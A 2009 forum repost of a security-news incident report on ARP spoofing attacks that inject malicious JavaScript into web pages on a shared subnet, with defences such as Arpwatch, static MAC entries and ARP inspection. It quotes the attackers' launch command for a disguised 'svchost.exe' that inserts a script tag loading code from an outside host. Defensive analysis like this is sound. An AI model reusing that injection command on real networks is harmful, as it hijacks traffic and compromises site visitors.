Microsoft Windows Vista Community Forums - Vistaheads
Recommended Download - Clean, repair and optimize your system



Welcome to the Microsoft Windows Vista Community Forums - Vistaheads, YOUR Largest Resource for Windows Vista related information.

You are currently viewing our boards as a guest which gives you limited access to view most discussions and access our other features. By joining our free community you will have access to post topics, communicate privately with other members (PM), respond to polls, upload content and access many other special features. Registration is fast, simple and absolutely free so , join our community today!

If you have any problems with the registration process or your account login, please contact us.

Massive ARP spoofing attacks on web sites, (Wed, Mar 11th)

Security News




Recommended Fix - Fix Vista Errors and Optimize Performance

Click On Your Flag for Translation
Simplified Chinese French Spanish Italian Portugeuse Japanese German Dutch
Driver Scanner 2009 - Free Scan Now
Reply
  #1 (permalink)  
Old 03-11-2009
Steve's Avatar
Moderator
 
Join Date: Sep 2006
Location: Emerald Isle
Posts: 57,915
Steve is a splendid one to beholdSteve is a splendid one to beholdSteve is a splendid one to beholdSteve is a splendid one to beholdSteve is a splendid one to beholdSteve is a splendid one to beholdSteve is a splendid one to beholdSteve is a splendid one to behold
Thanks: 11
Thanked 92 Times in 21 Posts
Massive ARP spoofing attacks on web sites, (Wed, Mar 11th)
Recently Ive been involved in two incidents which had exactly the same modus operandi. The attackers used ARP spoofing to inject malicious JavaScript into content served off other web sites. The biggest problem with such attacks is that it can be very difficult to analyze them unless you remember to check layer two network traffic. Such attacks are very covert and put in danger all web sites in the same subnet.



So, first a short recap about ARP spoofing. ARP spoofing attacks happen on layer two the Address Resolution Protocol maps IP addresses and MAC addresses, which is what is used to communicate in local subnets. ARP spoofing attacks are nothing new they have been happening for years already. The basic idea of an ARP spoofing attack is for the attacker to spoof IP address - MAC address pair of the default gateway. This allows him to intercept (and, if needed modify) all outgoing traffic from that subnet. The attacker can also spoof the IP address - MAC address pair of a local server in which case he could monitor incoming traffic, but in this scenario that was not necessary.



The spoofing attack consists of the attacker sending ARP packets containing fake data to the target. In normal conditions the target machine will accept this and believe whatever the attacker is saying.



This is exactly what happened in both incidents I was involved in. A server on a local subnet was compromised and the attacker installed ARP spoofing malware (together with keyloggers and other Trojans) on the machine. The ARP spoofing malware poisoned local subnet so the outgoing traffic was tunneled through it. The same malware then inserted malicious JavaScript into every HTML page served by any server on that subnet. You can see how this is fruitful for the attacker with one compromised server they can effectively attack hundreds of web sites (if its a hoster indeed).



The ARP spoofing malware they used was relatively common, but still AV detection was miserable with major AV programs missing it (both compromised machines had up to date AV programs installed). In order to start the malware the attackers used a simple BAT script:



svchost.exe -idx 0 -ip IP_address -port 80 -insert script language=javascript src=http://embedded/images/new.gif/script -Interval 1000 -spoofmode 2



svchost.exes options are self explanatory it uses the interface 0 (idx) and spoofs the IP address in the ip option. Finally it inserts whatever is in the insert option into every HTML page served.



Nice thing for the attacker is that the administrator of an attacked web site will never figure out whats going on until he checks the ARP cache or monitors network traffic. The ARP cache can be checked with the arp command (arp a on both Windows and Linux) one should watch out for weird MAC addresses. It usually pays to check the OID owner because you dont see Dell routers all that often as shown in the following Wireshark screenshot of ARP poisoning traffic:







There are various ways for defending against ARP spoofing. One can hard code MAC addresses of routers on servers (be careful with this as changes to the default gateway will stop your machines from talking to the Internet until you modify the hard coded address). I would recommend installation of Arpwatch, a nice and simple tool that monitors ARP traffic and alerts on attacks. Finally, Cisco (and others I presume) has features called DHCP Snooping and ARP inspection which can effectively stop ARP poisoning attacks. Sadly, I rarely see these features used, especially in internal network.



Regarding other malware I mentioned previously, the AV detection rates were similarly poor (in the mean time they improved). Particularly nasty was the Winlogon Notify hook package which simply sniffs all usernames/passwords of users logging in to the system (so password changes dont help). This package has been around for ages (the source is public) and I was shocked how simple modifications made it invisible to those AV programs.



--

Bojan

INFIGO IS

More...
Digg this Post!Add Post to del.icio.usBookmark Post in TechnoratiFurl this Post!
Reply With Quote
Sponsored Links
Reply


Thread Tools
Display Modes

Posting Rules
You may not post new threads
You may not post replies
You may not post attachments
You may not edit your posts

vB code is On
Smilies are On
[IMG] code is On
HTML code is On
Trackbacks are On
Pingbacks are On
Refbacks are Off

Similar Threads
Thread Thread Starter Forum Replies Last Post
The Frustration of Phishing Attacks, (Sun, Jan 11th) Steve Security News 0 01-11-2009 04:00
Massive SQL Injection Attacks: The Chinese Way Steve Security News 0 10-23-2008 03:50
Microsoft: Massive site attacks not our fault Paul Security News 0 04-28-2008 18:10
Microsoft: Massive site attacks not our fault Steve Security News 0 04-27-2008 18:50
Massive list of compromised sites, (Fri, Jun 1st) Steve Security News 0 06-01-2007 19:51




All times are GMT +1. The time now is 04:53.




Driver Scanner - Free Scan Now

Vistaheads.com is part of the Heads Network. See also XPHeads.com and Win7Heads.com.


Funny Commercials to make you laugh :-)

Design by Vjacheslav Trushkin for phpBBStyles.com.
Powered by vBulletin® Version 3.6.7
Copyright ©2000 - 2009, Jelsoft Enterprises Ltd.
Search Engine Optimization by vBSEO 3.3.2

1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 112 113 114 115 116 117 118 119